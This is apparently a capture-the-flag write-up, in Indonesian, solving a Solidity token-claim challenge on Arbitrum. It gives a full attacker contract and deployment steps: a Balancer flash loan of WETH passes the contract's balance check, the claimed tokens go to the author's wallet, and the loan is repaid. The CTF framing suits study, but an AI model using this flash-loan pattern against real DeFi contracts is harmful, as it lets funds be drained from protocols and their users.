Fokus utama ada pada fungsi claim
dan beberapa getter function di kontrak Solidity berikut:
function claim(uint256 amount) external {
require(_requiredToken != address(0), "Token syaratnya belum diset nih bang.");
require(_claimableToken != address(0), "Token klaim belum disiapin bang.");
uint256 balance = IERC20(_requiredToken).balanceOf(msg.sender);
require(balance >= _requiredBalance, "Belum cukup saldo buat klaim. Sabar ya bang!");
require(IERC20(_claimableToken).transfer(msg.sender, amount), "Gagal kirim token klaim ke kamu.");
}
function getClaimableToken() external view returns (address) {
return _claimableToken;
}
function getRequiredToken() external view returns (address) {
return _requiredToken;
}
function getRequiredBalance() external view returns (uint256) {
return _requiredBalance;
}
Agar token TST bisa dikirim ke siapapun yang memanggil fungsi claim
, terdapat 3 kondisi yang harus dipenuhi:
_requiredToken
bukanaddress(0)
_claimableToken
bukanaddress(0)
- Balance
_requiredToken
milik pemanggil fungsi (walletmsg.sender
) harus lebih besar atau sama dengan_requiredBalance
π¦ Jika ketiga kondisi tersebut terpenuhi, maka token TST akan dikirim dari kontrak CTF ke wallet msg.sender
.
Masing-masing nilai variabel tersebut bisa diperoleh dari getter function:
Fungsi | Hasil | Keterangan |
---|---|---|
getRequiredToken() |
0x82aF49447D8a07e3bd95BD0d56f35241523fBab1 |
Alamat WETH (di Arbitrum) |
getClaimableToken() |
0x0eb50095B18294D1Ab02655e7C7D25199E35Cc15 |
Alamat token TST |
getRequiredBalance() |
560109367220998255044 |
Setara dengan 560.109367220998255044 WETH |
Kalau kita ingin mengambil 500 token TST dari kontrak CTF, maka kita harus punya setidaknya:
560.109367220998255044 WETH
...yang tersimpan di wallet milik kita (pemanggilclaim
).
Uang darimana? :D
Tenang, Balancer solusinya!
Kita bisa meminjam WETH tanpa dikenakan biaya, namun harus dikembalikan dalam 1 transaksi yang sama. Jika tidak, transaksi akan selalu gagal.
Cara kerja flash loan di sini simpel: kamu bisa meminjam saldo WETH dari Balancer Vault dan harus mengembalikannya dalam transaksi yang sama tanpa biaya (untuk saat ini).
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "@balancer-labs/v2-interfaces/contracts/vault/IVault.sol";
import "@balancer-labs/v2-interfaces/contracts/vault/IFlashLoanRecipient.sol";
interface ICTF {
function claim(uint256 amount) external;
}
contract FlashLoanRecipient is IFlashLoanRecipient {
IVault private constant vault =
IVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
address private me = 0x59F3604Def4AB9F740174C9CF977C4DA8fb458fD;
address private ctfContract = 0x29915797682ecA55363333234197a2214839668C;
address private tstContract = 0x0eb50095B18294D1Ab02655e7C7D25199E35Cc15;
uint256 private tstBalance = 500000000;
function makeFlashLoan(
IERC20[] memory tokens,
uint256[] memory amounts,
bytes memory userData
) external {
vault.flashLoan(this, tokens, amounts, userData);
}
function receiveFlashLoan(
IERC20[] memory tokens,
uint256[] memory amounts,
uint256[] memory feeAmounts,
bytes memory userData
) external override {
require(msg.sender == address(vault));
ICTF ctf = ICTF(ctfContract);
ctf.claim(tstBalance);
IERC20 tst = IERC20(tstContract);
tst.transfer(me, tstBalance);
for (uint256 i = 0; i < tokens.length; i++) {
uint256 repayAmount = amounts[i] + feeAmounts[i];
IERC20(tokens[i]).transfer(address(vault), repayAmount);
}
}
}
- Deploy kontrak ke Arbitrum network.
- Panggil fungsi
makeFlashLoan()
dengan parameter:tokens
: alamat WETH.amounts
:561109367220998255044
(WETH).userData
: isi dengan0x
(karena tidak digunakan).
- Saat
makeFlashLoan()
dipanggil, Balancer Vault akan otomatis memanggilreceiveFlashLoan()
dan mengirimkan WETH ke kontrak. - Di dalam
receiveFlashLoan()
, fungsiclaim()
dipanggil:
ICTF ctf = ICTF(ctfContract);
ctf.claim(tstBalance);
- Setelah token TST masuk ke kontrak, kirim ke wallet pribadi:
IERC20 tst = IERC20(tstContract);
tst.transfer(me, tstBalance);
- Kembalikan semua WETH ke Balancer Vault agar transaksi tidak gagal:
for (uint256 i = 0; i < tokens.length; i++) {
uint256 repayAmount = amounts[i] + feeAmounts[i];
IERC20(tokens[i]).transfer(address(vault), repayAmount);
}
Voila! CTF solved with Tx Hash